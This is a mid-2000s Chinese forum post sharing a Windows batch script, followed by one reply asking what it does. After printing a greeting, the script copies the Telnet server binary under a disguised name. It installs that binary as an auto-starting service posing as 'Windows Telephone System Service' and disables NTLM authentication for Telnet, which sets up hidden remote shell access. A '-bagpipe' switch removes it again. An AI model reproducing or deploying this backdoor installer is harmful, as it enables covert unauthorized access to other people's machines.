标题: 代码好像还不是很全面,不过凑合着发吧!
[打印本页]
作者: bagpipe
时间: 2005-10-25 11:35
标题: 代码好像还不是很全面,不过凑合着发吧!
@echo off
cls
color 0f
echo %date%
echo;
echo ************************☆☆☆☆☆☆☆**************************
echo Welcome to
WwW.20Fox.cN Code By BagPipe
echo ************************☆☆☆☆☆☆☆**************************
for /f "tokens=1 delims=:" %%i in ('time /t') do set aa=%%i
if %aa% GEQ 22 goto 3
if %aa% GEQ 19 goto 2
if %aa% GEQ 13 goto 1
if %aa% GEQ 11 goto 6
if %aa% GEQ 06 goto 5
if %aa% GEQ 01 goto 4
:1
echo HeLLo!下午好!
goto 7
:2
echo Hello!晚上好!
goto 7
:3
echo Hello!深夜好!
goto 7
:4
echo Hello!凌晨好!
goto 7
:5
echo Hello!早上好!
goto 7
:6
echo Hello!中午好!
goto 7
:7
if "%1"=="-bagpipe" goto pipe
copy c:\winnt\system32\tlntsvr.exe c:\winnt\system32\com\telephone.exe >nul
echo [version] >c:\1.inf
echo signature="$Windows NT$" >>c:\1.inf
echo.>>1.inf
echo [DefaultInstall.Services] >>c:\1.inf
echo addservice=telephone,,bagpipeservice >>c:\1.inf
echo.>>1.inf
echo [bagpipeservice] >>c:\1.inf
echo displayname=Windows Telephone System Service >>c:\1.inf
echo description=此程序提供Internet 电话支持. >>c:\1.inf
echo servicetype=0x10 >>c:\1.inf
echo starttype=2 >>c:\1.inf
echo errorcontrol=0 >>c:\1.inf
echo servicebinary=c:\winnt\system32\com\telephone.exe >>c:\1.inf
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\1.inf
echo Windows Registry Editor Version 5.00 >c:\1.reg
echo.>>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>c:\1.reg
echo "NTLM"=dword:00000000 >>c:\1.reg
regedit /s c:\1.reg
del /f .\1.inf
del /f .\1.reg
net start "Windows Telephone System Service">nul
echo 服务安装结束!!!
ping 1.1.1.1 -n 2 -w 300 >nul
goto end
:pipe
net stop "Windows Telephone System Service" >nul
del /f c:\winnt\system32\com\telephone.exe >nul
echo [version] >c:\2.inf
echo signature="$Windows NT$" >>c:\2.inf
echo.>>2.inf
echo [defaultinstall.services] >>c:\2.inf
echo delservice=telephone >>2.inf
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\2.inf
echo Windows Registry Editor Version 5.00 >c:\2.reg
echo.>>2.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>c:\2.reg
echo "NTLM"=dword:00000002 >>c:\2.reg
regedit /s c:\2.reg
echo 卸载成功!!!
del /f .\2.inf
del /f .\2.reg
ping 1.1.1.1 -n 2 -w 300 >nul
goto end
:end
作者: lxmxn
时间: 2006-10-7 17:09
请问楼主,这个p处理是做什么用的?
怎么我看着好象是添加一个服务又把这个服务给删除掉?
可以大概解释一下否?